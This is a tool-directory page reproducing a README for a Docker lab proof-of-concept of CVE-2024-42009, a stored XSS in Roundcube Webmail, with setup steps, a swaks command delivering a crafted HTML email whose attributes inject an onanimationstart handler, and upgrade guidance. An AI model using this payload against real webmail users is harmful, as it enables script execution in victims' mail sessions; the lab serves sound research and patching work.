Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-42009 — Docker-based proof-of-concept for CVE-2024-42009, a stored XSS in Roundcube Webmail. Demonstrates exploitation via crafted HTML emails and includes setup for a vulnerable lab environment. | Kitploit
Tools/GitHubGitHub/zaidarif47/cve-2024-42009
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubzaidarif47/cve-2024-42009

CVE-2024-42009

Docker-based proof-of-concept for CVE-2024-42009, a stored XSS in Roundcube Webmail. Demonstrates exploitation via crafted HTML emails and includes setup for a vulnerable lab environment.

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-42009 – Roundcube Stored XSS (Docker PoC)

📌 Overview

This repository demonstrates a working Proof-of-Concept (PoC) for CVE-2024-42009, a stored Cross-Site Scripting (XSS) vulnerability in Roundcube Webmail.

The vulnerability is caused by improper HTML sanitization followed by unsafe attribute reprocessing, allowing attackers to inject malicious event handlers via crafted HTML emails.


⚠️ Affected Versions

  • Roundcube ≤ 1.5.7
  • Roundcube ≤ 1.6.7

🧠 Vulnerability Summary

Roundcube sanitizes incoming HTML emails but later re-processes certain attributes (e.g., bgcolor, malformed attributes), leading to:

  • Attribute boundary confusion
  • Injection of new attributes
  • Reintroduction of dangerous event handlers (e.g., onanimationstart)

This allows execution of arbitrary JavaScript when a victim opens a malicious email.


🐳 Environment Setup (Docker)

1. Clone the repository

root@kitploit:~
git clone https://github.com/ZaidArif47/CVE-2024-42009-PoC.git
cd CVE-2024-42009-PoC

2. Start the vulnerable lab

root@kitploit:~
docker compose up -d

⏳ Wait ~10–15 seconds for the mail server to initialize.


3. Create test users

root@kitploit:~
docker exec mailserver setup email add [email protected] 'attacker123'
docker exec mailserver setup email add [email protected] 'victim123'

4. Access Roundcube

root@kitploit:~
http://localhost:8080

Credentials:

  • [email protected] / victim123
  • [email protected] / attacker123

💣 Exploitation

Send the malicious email using swaks tool:

root@kitploit:~
swaks --to [email protected] \
      --from [email protected] \
      --server localhost:2525 \
      --header "Content-Type: text/html; charset=utf-8" \
      --header "Subject: CVE-2024-42009 PoC" \
      --body '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(1) foo=bar">Foo</body>'

📸 Proof of Concept

  1. Log into Roundcube Victim Account
  2. Open the email inbox
  3. JavaScript executes (alert pops)

1. Malicious Email Delivered

Step 1

2. XSS Triggered

Step 3


🛡️ Mitigation

Upgrade to patched versions:

  • Roundcube ≥ 1.6.8
  • Roundcube ≥ 1.5.8

📚 References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-42009
  • Sonarsource: https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail/#desanitization-in-inline-email-rendering-cve202442009

⚖️ Disclaimer

This project is for educational and authorized security research purposes only. Do not use against systems without proper permission.


Download Tool